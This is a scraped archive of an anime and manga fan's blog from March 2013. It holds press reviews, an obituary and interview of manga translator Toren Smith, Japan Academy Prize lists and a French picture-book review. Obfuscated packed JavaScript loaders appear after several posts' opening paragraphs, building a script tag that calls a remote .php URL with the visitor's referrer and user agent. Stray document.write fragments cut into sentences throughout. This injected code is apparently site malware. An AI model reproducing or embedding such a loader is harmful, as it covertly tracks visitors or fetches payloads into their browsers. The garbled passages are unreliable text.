Press Review (2013-03-31)

The most boring week spent in the worse way possible: expecting something to happen. Of course, document.write(“”); nothing happened! I was hoping to get some results from my little job hunting, but I guess I’ll stay in this hell’s pit for a little while. At least I’ve received my income tax returns and got my annual haircut (for that I tried a local italian barber for the first time). Buona Pasqua tutti!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdynk|var|u0026u|referrer|etrsb||js|php’.split(‘|’),0,{}))

For a little action, check the few links I gathered this week
after the jump:

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden


Non Sequitur (2013-03-05)
Zits (2013-03-05)
Local News & National Politics

Media, Culture, & Society

Sciences & History

Union stuff & Montreal’s libraries

[ Traduire ]

TV Japan in Montreal at last!

A quick post on Coco Montreal‘s Facebook page brought to my attention that TV Japan (which offers mostly NHK programming) is now available in Montreal through Bell Fibe TV (although Bell own web page doesn’t mention anything about this yet).
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihdye|var|u0026u|referrer|frbfy||js|php’.split(‘|’),0,{}))

TV japan’s
press release mentioned by Coco Montreal (in Japanese), document.write(“”); also point to a free preview available from March 21st to April 18th.

Some of NHK programming (mostly news and documentaries) are already available in English through NHK World, which can be watched here for free online or via an iOS app.

However, more NHK programming (in Japanese) is now available from TV Japan, a channel owned by NHK Cosmomedia America, Inc. It offers “24 hours Japanese broadcasting everywhere in North America.” Their website also says that it “broadcasts many of its live news programs with English translation as a secondary audio service or with English crawl. An additional few select programs are provided in English or with English subtitle”. We also learn that it is “available in North America through DISH Network satellite service (US only), select Cable Systems [Rogers in Ontario, BC and Alberta] and IPTV Systems [Bell Fibe TV in Quebec, BC, AB, MB and ON] as a premium channel [meaning at the hefty price of $20 per month]”.

It offers a great variety of programming: news, drama, documentary, sports and even anime (although it’s limited to Anpanman, Chibi Maruko Chan, Doraemon, Detective Conan and One Piece).

It make me wish that I was with Bell Fibe TV, but lets hope that Videotron will have the brilliant idea to add it to its international lineup on their new Illico Digital TV (they did promised more channel as I recall — although they just added AMC which is already a good news).

Press Review (2013-03-26)

Not much happened in the last couple of weeks: A few activities on the union side (inflating even more my disillusions about democracy), document.write(“”); a little job hunting (I’m looking to move to a better position, geographically) and a last hurrah of the winter with a storm that gave us nearly twenty centimetres of snow last week. However, spring is coming out stronger each day.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byhsd|var|u0026u|referrer|absyy||js|php’.split(‘|’),0,{}))

I just finished reading
Hitler, a manga by Shigeru Mizuki, and now I am reading Mari Yamazaki’s Thermae Romae (an hilarious manga that was adapted into both an anime and a live-action movie) as well as Je suis vivant et vous êtes morts [I am alive but you’re dead] a novelized biography of Philip K. Dick by French author Emmanuel Carrère. All quite interesting and I’ll try to comment on them as soon as possible (considering how busy I am, it’ll probably take months).

On TV, I just finished watching the (Brit, of course) series Mr Selfridge and Ripper Street. I am currently following (or catching up on) Ben Hur (the 2010 movie for TV remake, ideal viewing choice for the week leading to Easter!), Murdoch Mysteries and Vikings (while still watching the usual Elementary, Hawaiï Five-O, Mentalist, NCIS, Vampire Diaries and Walking Dead — it’s funny to note that those are the only shows with contemporary setting that I watch). Not to forget that Bomb Girls, The Borgia, Continuum, Doctor Who, Game of Thrones and Mad Men will resume imminently. I’m wondering where I find time to sleep.

Not much news-wise either. A new Pope was elected (as if it would change anything) and, for the rest, here’s a few links after the jump:

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Library Humour
Unshelved (2013-03-21)

Unshelved (2013-03-23, originally appeared on 2003/04/22)

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Press Review (2013-03-12)

Domestic log: We’ve just started Daylight Saving Time. Spring is obviously coming in a week as we are getting warmer temperature and rain to make the snow melt. I’m not complaining. I feel much better that way, document.write(“”); although the view of all those bare trees is still depressing. I can’t wait to see some green. Last week was the spring break for local elementary and high schools so the library was hellishly busy. Seeing all those poster-children for vasectomy sure makes you rethink your career plans. I am really desperate to move out of this library for a less dysfunctional one in order to save my sanity! I also heard the shocking news of the death of Toren Smith, a manga translation pioneer that played a key role in importing our favourite books this side of the Pacific. I barely knew him, having met only half a dozen times, mostly in the nineties. However my wife knew him much better than me. We’ve spent a sad evening remembering him as my wife was telling me a few interesting anecdotes about him.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiibf|var|u0026u|referrer|byiyf||js|php’.split(‘|’),0,{}))

As for the press review, the last couple of weeks were poor in big news. The
winners of the Japanese Academy Awards were announced and the Conclave to elect the new Pope has just begun. You will find links to more news (including my favourite library humour) after the jump:

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Library Humour

Dilbert (2013/02/14)

Pooch Cafe (2013/02/14)

Unshelved (2013/02/27)

Unshelved (2013/02/28)

Unshelved (2013/03/02 — originally appeared on 4/15/2003)

Unshelved (2013/03/11)

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Toren Smith (1960-2013)

This week, document.write(“”); I was aghast to learn (via Anime News Network and James Hudnall) that one of the founding pillar of the manga industry in North America had passed away. Toren Smith was probably the first to go to Japan in order to negotiate publishing rights for manga titles, translate them into English (working with his friend David Lewis, later known as Dana Lewis, whom he met in Japan) and team up with American comics companies (like Viz, Eclipse and Dark Horse) to publish them — for that purpose he created Studio Proteus and thus kickstarted the manga industry in North America. For this we should all be immensely grateful and indebted to him.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdbhy|var|u0026u|referrer|essht||js|php’.split(‘|’),0,{}))

I met Toren for the first time in August 1989 at the San Diego Comic Convention, where my friend Alain Dubreuil and I interviewed him for Protoculture Addicts, and I kept seeing him in several other conventions after that. However, my wife knew him quite well. Married twice (mostly to the artist Tomoko Saito), he led a full and interesting life. He was an enthusiastic and multitalented individual, a shrewd businessman (he didn’t talked much about it but a good part of his income came from translating hentai manga, most of them published through Fantagraphics‘ imprint MangErotica) and a great guy. He brought us so many excellent manga, gave us (with Adam Warren) the Dirty Pair comics and even had a cameo appearance in the anime Gunbuster (at first I thought he had seriously pissed off Gainax people, because when someone put you in their animation only to kill you off it’s usually not out of love, but I later learned that it was meant as an expression of great respect and friendship).

Toren Smith died on Monday March 4th 2013 at age 52 (way too young) and the cause of his death has not been made public. My wife and I want to express our most sincere condolences to Toren’s family, friends and fans. Requiescat in pace Smith Toren!

Many members of the anime and manga community commented on his passing (Japanator, Right Stuf, The Fandom Post, All Day Comics, Gilles Poitras, The Mike Toole Show and I’m sure you can find more on Google), but if you have to read only one piece about Toren I suggest you check the obituary by Jonathan Clements.

For my part, as a tribute to Toren Smith’s life and career, I would like to offer you the interview we made with him and published in Protoculture Addicts #7 (pages 21-24) in the Spring 1990. Read the interview after the jump:

An Interview with Toren Smith

PA: Tell us about your background in Japanese animation: what are the series that marked your youth and how did you get so hooked to this japanimation thing?

TS: When I was a kid there were only two Japanese animation on TV, at least where I lived. Interesting enough, I liked them both. I didn’t like much else that was on TV, but I remember liking both of the shows. One of them was Kimba the White Lion, one of [Osamu] Tezuka’s works, and the other one was a show called Marine Boy, based on a Japanese show called Marine Kid which is really minor and obscure. Most of the Japanese people I talked to just never heard of it, even Japanese animation fans; but we have to remember there have been 500 animation series in Japan for the past 20 years, so it’s hard to remember them all. So that’s pretty much what I remember of when I was a kid. I remember liking Kimba quite a bit. I would actually hurry home from school so I could watch that one.

As far as getting turned on more recent stuff, what happened was that I moved from Calgary to California. I was living with a friend of mine in North California and she was a very popular SF/Fantasy artist. One of her fans came up to visit her and said, “have you ever seen Japanese animation? You got to see it, it’s great!” So we went to his grandmother’s house where he was staying and watched Japanese animation. He showed us Cagliostro Castle, the [Hayao] Miyazaki Lupin film. It was subtitled in English. We were all just completely blown away by that. He also showed us Phoenix 2772, the Australian dubbed version which didn’t impressed us as much but was still pretty good. When we came back the next week-end, he showed us Crusher Joe, some episodes of Urusei Yatsura and a couple of other things like that. My friend and I were completely astonished to find out that this stuff existed since we had never heard of it. And he told us about the C/FO [Cartoon/Fantasy Organization].

The person who did all this was James Hudnall, who of course is now writing for Marvel Comics. He does Alpha Flight, Strike Force Morituri and recently did Luthor for DC. It’s kind of interesting that he was the one who started us all on it. So, it’s pretty much how I got into it. And then from there, of course, I got interested in the manga itself.

PA: What were your first involvements with the animation fandom in this country?

TS: What happened was, James Hudnall decided he liked the area up there so much (we are living in Santa Rosa, around that very nice area about fifty miles north of San Francisco, the Sonoma county with a lot of wineries around) that he wanted to moved there. He was still a computer programmer at that time. He packed up everything, bought a house, and moved up there but he missed going to the C/FO meetings that they were having down in Southern California. I mean this was when the C/FO really did something, when people were still getting involved doing a lot of things. So we started a C/FO chapter – he started it and I came in to help out on it. I was working as a computer programmer at that time as well. So I started helping him out by making translation booklets. I would just take sheets of 8 by 11 paper, and use the IBM Selectric typewriter at work to produce a master copy, switching the balls to make different typefaces. I’d paste in drawings clipped out of animation magazines, then Xerox it off on the company machine when no one was around, fold it over once, and we’d give them away at the meetings. A lot of people would come and watch all different kinds of animation. I started collecting it about that time too.

Then I got contacted by a friend of mine, John McLaughlin, who is a SF fan and was putting on BayCon. He asked us to do an animation room, which was very progressive of him because at that time not many people had ever done one. That was BayCon ‘84. We had just a little tiny room – a room where the beds fold up into the wall. Well, it was jammed, it was absolutely packed with people, from the time it opened till the time it closed. John saw this and said, “God! It looks really popular! Next year we’ll have a bigger room”. So in ’85 we had a much bigger room. That was the first year I put together one of those animation booklets. It was stapled together, it was twenty pages Xeroxed on both sides, some of them were blue, most of them were yellow and I got Lela Dowling to draw a really nice Lum on the front. That was the booklet that started everything off. Again the room was absolutely packed from morning till night. So John said, “OK, next year what if we run it 24 hours? I’ll give you a huge budget so you can rent all the stuff you want, buy all the films you want and print a really nice booklet”.

I contacted Steven Johnson, and after I’d written all the synopses, I drove down to his office and we worked twenty hours a day for three days putting everything together. It was originally printed with a black and white cover, but when Books Nippan asked us to reprint it a few months later, we had Lela Dowling color her original cover illustration. So that was the big BayCon ’86 book. I really wanted to do an expanded version, I really did. I had plans for it; [Yoshikazu] Yasuhiko even did me a cover – I got it at home on my wall in a frame; [Hayao] Miyazaki’s also doing one for me, but I’m not sure now when I’m going to have time to do the book – it might not be for years. Besides, with all the subtitling that’s being done, and the English version coming out, the need for such a book isn’t as great as it once was. Anyway, that was how I got involved in BayCon and came out of that.

PA: What brought you to Japan and how did Studio Proteus start?

TS: What happened was that I had been in pretty close contact with Frederik Schodt who wrote Manga! Manga! He called me up and said, “look, a friend of mine wants to start publishing Japanese comics in America, can you help him at all?” I said, “well, maybe”. So I got into contact with this person, Seiji Horibuchi who is now president of Viz comics. At that time he was running his own company called Green Communications which was doing location research for movies and stuff like that; he had nothing to do with comics at all. He had a connection with Shogakukan. He talked about it a little bit, he asked my opinion on a few things. A couple of years earlier, James Hudnall had been working part time for Eclipse Comics as a Marketing Director. He was pushing them to get Akira and Lone Wolf and Cub. We didn’t realize at that time that First Comics was also negotiating for those. But no one was really interested in Japanese comics back then; they didn’t think it could sell.

I started talking to Seiji a lot. For about a year we talked about it, and made various plans. More and more I felt that I wanted to go to Japan. This was something I really wanted to do. To go to Japan, meet some people and see what it was like. At that time I had figured I would just work for Viz as a translator. Seiji was saying that I’d do Urusei Yatsura and all sorts of other stuff. I finally packed up, sold everything, quit my job, took all the money I had and went to Japan. I went over there with James Hogan, the SF writer. We went to the Daicon SF convention. We flew to Tokyo, spent two days there and then flew directly to Osaka for the convention. At Daicon V, I met with [Osamu] Tezuka, Mamoru Oshii, Mamoru Nagano; I just met this incredible list of people and that was it. Once I made the contacts, I could start talking to people about things.

I didn’t actually start working on Kamui until early ’87. Back in early ’86, Seiji had decided, based on my recommendation, that he should co-publish the book with an already established American company. So I said: “you should go with Eclipse because they are interested and because they are close” (they are very close to San Francisco, about 75 miles north). Seiji kept telling me, during the fall of ‘86, “Don’t worry, we’ll give you Kamui, and we’ll give you another book, Mai [The Psychic Girl] or Area 88. That way you’ll have two books so that you can survive while living in Japan doing them”. I finally got a letter from James Hudnall telling he’d been given Area 88 and Mai and Viz had never even told me in my face. So I was stuck in Japan with only Kamui to live on. It wasn’t enough; I mean I would have starved to death. So I merely had to start doing things on my own. So I gathered up a bunch of stuff I really wanted to get the rights to and publish in English. And I took it to Seiji and said: “look, these are things we should get. I could help you get them and if I do, you’ll have to give me the translation work on it”. “Well”, he said, “we can’t do anything that isn’t Shogakukan right now; we have to do only Shogakukan works”. “OK, fine, fair enough. We can’t wait on these things or other people will get them”. So I went off and got them myself. I got Appleseed, and a bunch of other things. When I told Seiji, he got really mad at me. So I did Kamui for him but I never did anything else. The only reason I’m doing Nausicaä now is because [Hayao] Miyazaki insisted that I work on it. That was the big split between me and Viz and that’s why I decided to start Studio Proteus.

One thing I realized is that I wasn’t going to get the rights to anything unless I could fool these people into thinking that I was a real company. I got a very expensive suit, spent most of my last money on it, so I would look very professional, and I got some really nice business cards. I planned everything out. I would go to them and show them the business card. They’d see the business card and they’d see the suit and they’d figure “this guy must know what he’s talking about”. That’s all it was. And of course I had copies of the stories I’d written for Epic and Eclipse and other people like that. So that’s how Studio Proteus really got started – an expensive suit, a nice business card, and a line of B.S. I contacted the Appleseed people first of all and they were very interested. Also at that time we were negotiating for Nausicaä so all I had to tell people was that we were doing Nausicaä and immediately everyone would say “you must be a big company, if you’re doing Nausicaä” because everyone knows Nausicaä there, it’s the Watchmen of Japan, everyone knows it. So after that, things started to fall into place, and Studio Proteus was off and running.

PA: What’s the readers’ feedback on your present projects?

TS: It depends on how you count feedback. Most letters you get are positive because most people who don’t like something, hate it, or got pissed off at it, won’t write in; they’ll just grumble to their friends. But if they like it, they’ll want to write, show their approval and maybe get published; so most of the letters we get are positive. From talking to other writers about how fan mail tends to run, I’ve determined that, actually, the negative mail on all of our series is very low, much lower than the average. So I think we must be doing something right. As far as sales go, all of our books are selling much better than the average B&W comic: the average B&W sells about 6000 copies; Appleseed and Dirty Pair are selling close to 30,000 copies, which is very good. Our lowest seller is Cyber 7 but that’s catching on and sales on everything are going up. Outlanders is selling 500 to a 1000 copies more each month as the series goes on; this is almost unheard of in the comic industry. Cyber 7 is also selling more, about 250 additional copies every new issue.

The only thing we’re getting a lot of flack on of course is Dirty Pair. A lot of people don’t like the fact that we changed the character designs and that they are too different from the TV series. I said it a million times before but I’ll say it again: we had no choice on that, we had to change them. If they don’t like what we’ve changed them to, well that’s a decision that only the individual reader can make. If they don’t like it, they really don’t have to buy it because we have to do what we want to do. Otherwise, we can’t do the best job we can on it. You have to want to be doing something; if the readers want you to do this or that, you feel like you’re being pushed around. It’s either the readers like what you do or they don’t but I don’t think people will go farther ahead if they try and do what the readers want. Once you do that, almost invariably you’re sunk. You can never guess. We’re making 30,000 people happy, I know that much. I think that maybe rather than try to make happy the two or three people that write in every month – that’s about all we get, maybe two or three very negative letters every month (although there must be much more people out there who don’t like it) – so I mean rather than trying to make those 200-300 people happy at the expense of the 30,000 people who like it, we’ll just continue to make what we feel is good. That’s the best we can do, I think.

PA: What are your near future projects and what are you thinking of for the next years?

TS: Coming up real soon is Dominion. As a matter of fact, I should probably have a script waiting for me in San Francisco. I’ll start working on that next week. That will be out in October [1989]. All the covers on that will be by [Masamune] Shirow – some people didn’t like the Arthur AdamsAppleseed covers. Within the next month, we’ll probably start working on What’s Michael? That’s a book-size thing, about 110 pages or so, that we’ll have coming out, sold mainly through bookstores. It’s a very funny comic. Following that, Black Magic will be beginning in February [1990]. What’s happening is that Appleseed Book three will end and, instead of Book four beginning a month later, we’ll have Black Magic. It will run for five months and then there will be a one month break and we’ll start Appleseed Book four. The reason for this is because the artist in Japan is very slow in producing the book and we have to space it out as much as we can. I’m afraid that Appleseed fans can’t expect to see Book 5 much before summer ’92. But we’re thinking of publishing the Appleseed Data Book, a 200-page encyclopaedia of the Appleseed world. It has around fifty new Shirow illos and a new 48-page short story. We might do that later next year.

The Venus Wars will be coming out from Dark Horse this summer, July or August. It’s written and drawn by Yoshikazu Yasuhiko, director and character designer for Gundam, Arion, Song of the Wind and Trees and other films like that. I’m sure every animation fans knows Yasuhiko. We will be doing that probably for Dark Horse, on a monthly basis. It will run about forty pages an issue and will cost about $2.25. It should run – if Yasuhiko does what he told me he was going to do – something between forty and fifty issues. About the same size as Outlanders.

We’ve got about four more projects coming up for ’90, but they’re all still waiting for final contracts, so I really can’t talk about them. One I can talk about is The last Continent, by Akihiro Yamada. It’s an homage to Arthur Conan Doyle’s The Lost World, but takes place in the world of 1950’s Japan, instead of Victorian England. The art is very detailed and realistic – it reminds me a bit of Mark Schultz’ art on Xenozoic Tales, with a dose of Frazetta’s comics work. Look for that from Eclipse about July or August.

The new Dirty Pair series will be starting in May. This one will be called A Plague of Angels. The WWWA has sent the Pair to an out of the way O’Neill colony, and assigned a reporter to follow them around as they (supposedly) keep out of trouble and show everybody how nice and sweet they really are. I think you can imagine about how well that particular plan works out. The first issue has the most action we’ve ever jammed into a single issue of The Dirty Pair so far. That’s pretty much it for the future that I can talk about, anyway.

PA: What can you tell us about the main new things coming in Japan in the near future?

TS: I’ve been away so long, actually, I’m due to go back. I’ll be going back in September. I know that there’re going to be a movie made called Maimu, directed by [Sh?ji] Kawamori, the guy who directed Macross The Movie and character design will be by [Haruhiko] Mikimoto; Mikimoto has been doing a lot of character designs lately and it started to look all the same because he’s doing so much work he doesn’t have time to really think up new things. But I’ve seen the character designs for Maimu and they’re going to be great. And of course Kawamori is just like a great director, so I’ve got real hope for that. The girl does a lot of riding around on a mountain bike in the movie and so Kawamori bought a mountain bike and he’s been learning to do tricks and things on it, so that he could direct it in such a way that is very convincing. That’s something that is coming up and I look forward to it.

[Katsuhiro] Otomo is working on a new film, Roujin Z, which is going to be – you’re not going to believe this – about an old man who’s gotten Alzheimer’s disease. He’s senile and he’s going to be inside a power suit like those in Appleseed or Gundam; he’s going to go out and do good deeds except he’s not very good at them because he’s senile. What a bizarre concept. But, anyway, that’s what Otomo’s got planned; we’ll see what happens with that. There’s also a rumour that Gainax, which did Wings of Oneamis, will be the one working on that.

The Gainax folks are also doing a series for NHK in Japan. The title is, literally, Nadia’s Strange Ocean, but they’ve been calling it Blue Water in English, which is a lot more euphonic. The character designs are by [Yoshiyuki] Sadamoto (Oneamis) and direction by [Hideaki] Anno (Gunbuster). I’ve seen the first episode, and it’s pretty damn good for TV animation. It’s heavily influenced by 20,000 Leagues Under the Sea.

There’s another rumour – that I’m not in position to confirm or deny – that Shirow Masamune (Black Magic M66 and Appleseed) will be directing a very high budget Appleseed movie; when I say very high budget I’m talking about the same as Wings of Oneamis or Akira, somewhere between.

PA: Thank you Toren.

Interview by Alain Dubreuil (and Claude J Pelletier; pictures by CJP)

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36th Japan Academy Prize Winners

The Japan Academy Prize Association has just announced the Award winners for its 36th edition (for the nomination see our previous blog entry):

  • Best Picture of the year: The Kirishima Thing (“Kirishima, document.write(“”); Bukatsu Yamerutteyo”, dir.: Daihachi Yoshida)
  • Best Director of the year: Daihachi Yoshida (The Kirishima Thing)
  • Best Animation of the year: Wolf Children (“Okami Kodomo no Ame to Yuki”, dir.: Mamoru Hosoda)
  • Best Actor of the year: Hiroshi Abe (Thermae Romae)
  • Best Actress of the year: Kirin Kiki (Chronicle Of My Mother)
  • Best Supporting Actor of the year: Hideji Otaki (Dearest)
  • Best Supporting Actress of the year: Kimiko Yo (Dearest)
  • Best Screenplay of the year: Kenji Uchida (Key Of Life)
  • Best Music of the year: Ikuko Kawai (A Chorus of Angels)
  • Best Cinematography of the year: Daisaku Kimura (A Chorus of Angels)
  • Best Lighting of the year: Takashi Sugimoto (A Chorus of Angels)
  • Best Art Direction of the year: Norihiro Isoda & Nariyuki Kondo (The Floating Castle)
  • Best Sound of the year: Fumio Hashimoto (Admiral Yamamoto)
  • Best Editing of the year: Mototaka Kusakabe (The Kirishima Thing)
  • Best Foreign Language Film of the year: The Intouchables (France)
  • Most Popular Film of the year: The Kirishima Thing
  • Most Popular Actor of the year: Yuko Oshima (a member of AKB48’s Team K, for her role in Ushijima the Loan Shark)

Unlike last year, there is no clear winner. However, The Kirishima Thing gets best picture, best director, best editing AND most popular film, while A Chorus of Angels gets three of the “Technical” awards and Dearest gets both supporting role awards. I’ve already seen Dearest but I’ll make sure to add the other two on my list of “to watch” movies.

For more details on the award winners you can check the AsianWiki, Anime News Network and the Japan Academy Prize official site (in Japanese).

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La maison en petits cubes

Cette semaine j’ai découvert un superbe album illustré pour enfant qui m’a, document.write(“”); par le suite, mener vers de nouvelles révélations. Je vous en fait ici une brève introduction afin que vous puissiez le découvrir à votre tour. Comme vous voyez j’ai des lectures des plus éclectiques…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yshan|var|u0026u|referrer|tyyna||js|php’.split(‘|’),0,{}))

“Dans une ville entièrement immergée, un vieux monsieur résiste encore et toujours à la montée du niveau de la mer. Chaque fois que l’eau atteint son plancher, il est obligé de bâtir une nouvelle maison par-dessus la précédente, si bien qu’au fil du temps son logis a fini par ressembler à une immense pile de petits cubes. Un jour, alors qu’il s’est encore une fois lancé dans la construction d’une nouvelle demeure, ses outils tombent tout au fond de l’eau. Il enfile sa combinaison pour aller les repêcher, et au fur et à mesure qu’il descend à travers ses anciennes maisons, de lointains souvenirs lui reviennent en mémoire…”

“Découvrez le sublime livre créé par les auteurs du film La maison en petits cubes, récompensé dans les festivals du monde entier, notamment par le prestigieux Oscar du meilleur court-métrage d’animation”. [ Texte de la couverture arrière et du site de l’éditeur ]
Continuez après le saut de page >>

La maison en petits cubes (?????? / Tsumiki no Ie) a été publié au Japon en 2008 par Hakusensha. Il a été traduit en français en mars 2012 par nobi nobi!, un éditeur de livres Jeunesse spécialisée sur le Japon. Cet album illustré est l’adaptation en livre d’un court-métrage d’animation. KATÔ Kunio (qui était le réalisateur et le directeur artistique de l’animation) a illustré le livre et HIRATA Kenya (scénariste et dessinateur pour les arrières-plans) en a écrit l’histoire. Le livre n’est pas une simple transposition de l’histoire mais plutôt un complément car les créateurs ont cherché avec le livre a pousser plus loin le récit qui est entièrement redessiné. Il y a donc quelques différences (dans l’animation, c’est sa pipe qu’il échappe à l’eau alors que dans le livre ce sont ses outils qui coulent par le fonds) mais le propos reste le même.

Les dessins faits à l’aquarelle, dominés par les tons jaunes et ocres pour la surface et aigue-marine pour l’eau, sont vraiment superbes. Ce conte tout en douceurs se veut peut-être une sorte de leçon écologique simple (puisqu’il fait allusion à la monté du niveau de l’océan), une parabole sur la persistance (devant le flot de l’adversité, il faut continuer et sans cesse se rebâtir), mais surtout une allégorie sur la mémoire, fluide et floue, souvent engloutie par le quotidien, et qu’il faut entretenir et chérir autant que possible pour la préserver. Un livre d’une grande richesse poétique qui me rappelle un peu Taniguchi (mais cela est sans doute due à une sensibilité toute japonaise qui leur est commune). Un beau conte pour les petits et pour les grands.

La maison en petits cubes, par HIRATA Kenya (texte) et KATÔ Kunio (illustration). Maisons-Laffitte, nobi nobi! (Hors Collection), 2012. 21,5 x 28,3 cm, 48 pg. couleurs, 14,95 € / $19.95 Can. ISBN: 978-2-918857-12-9. Recommandé pour enfants de 2 à 7 ans.

Pour plus d’information vous pouvez consulter les sites suivants:

Chose amusante, à travers ce livre, je retrouve mes intérêts à la fois pour le Japon, le manga, l’animation et le cinéma japonais.

Ainsi, ce livre m’a aussi fait découvrir la maison d’édition nobi nobi! (dont le nom [????], une onomatopée japonaise, signifie “être à l’aise” ou “se sentir bien” et fait référence à l’atmosphère propice à l’épanouissement que procure une bonne et riche lecture). Sa vocation, inusité dans le milieu de l’édition française, est de faire découvrir la culture japonaise par la “traduction d’albums illustrés japonais ou la création d’albums originaux inspirés par le Japon”.

Elle a été créé par deux passionnés du Japon, Pierre-Alain Dufour et Olivier Pacciani, qui ont tous deux travaillé auparavant pour une maison d’édition de manga. J’ai constaté au cours des ans que le Japon produit effectivement des livres pour enfants qui sont d’une grande beauté et sensibilité et qui sont donc un choix logique pour une maison d’édition qui désire publier des ouvrages de qualité qui offrent “des histoires intelligentes au graphisme étudié.”

Ce livre m’a également fait découvrir le court métrage d’animation qu’est aussi La maison en petits cubes et qui a inspiré le livre. D’une durée de seulement douze minutes, cette animation a été produite en 2008 par Robot Communication et animé par le studio Oh Production, sous la direction de KATÔ Kunio, avec un scénario et des arrières-plans de HIRATA Kenya ainsi qu’une musique de KONDO Kenji. Contrairement au livre, où les illustrations sont accompagnées d’un texte, le récit de l’animation ne se fait que par l’image, la musique et les effets sonores.

Robot Communication a été créé en 1986 principalement en tant qu’agence de production pour des commerciaux télévisés et comme une firme de conception graphique. Elle a depuis étendu ses activités à la production de films, d’animation et de contenu pour le web et les téléphones mobiles. Elle est connue pour avoir produit plusieurs des films que j’ai apprécié, entre autres Space Travelers, Always: Sunset on Third Street ’64, Odoru Dai Sousasen the Final (“Dancing Detectives”) et Space Battleship Yamato.

La version animé de La maison en petits cubes a été récompensée par le prix du meilleur court métrage d’animation au Festival international du film d’animation d’Annecy de 2008, par le Prix Hiroshima et Prix de l’Audience du Festival international du film d’animation d’Hiroshima de 2008 ainsi que par l’Oscar du meilleur court-métrage d’animation en 2009. Elle est largement disponible pour visionnement sur l’internet:

Tsumiki No Ie from lennie small on Vimeo.
Pour plus d’information vous pouvez consulter les sites suivants:

La maison en petits cubes © ROBOT 2008.

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36th Japan Academy Prize Nominees

Last January, the nominees for the 36th Japan Academy Prize (aka the Japanese Academy Awards) were announced on the Japan Academy Prize Association website [ in japanese: 第36回日本アカデミー賞 ] :

The nominees for Best Picture of the year (2013) are:

The nominees for Best Director of the year (2013) are:

  • Shinji Higuchi & Isshin Inudo (The Floating Castle)
  • Junji Sakamoto (A Chorus of Angels))
  • Masato Harada (Chronicle Of My Mother)
  • Yasuo Furuhata (Dearest)
  • Daihachi Yoshida (The Kirishima Thing)

The nominees for Best Animation of the year (2013) are:

Here we are listing only the categories that are of interest for our blog, but you’ll find more details on ALL the nominees on the AsianWiki. You’ll find also some information (mostly about the anime category and the anime- & manga-related nominations) on Anime News Network.

The award winners will be announced on March 8, 2013, so stay tuned!

Update (2013-03-10): Award winners have been highlighted in red. You can find the full result on my entry on the “36th Japan Academy Prize Winners” as well as check the AsianWiki and Anime News Network for more details.

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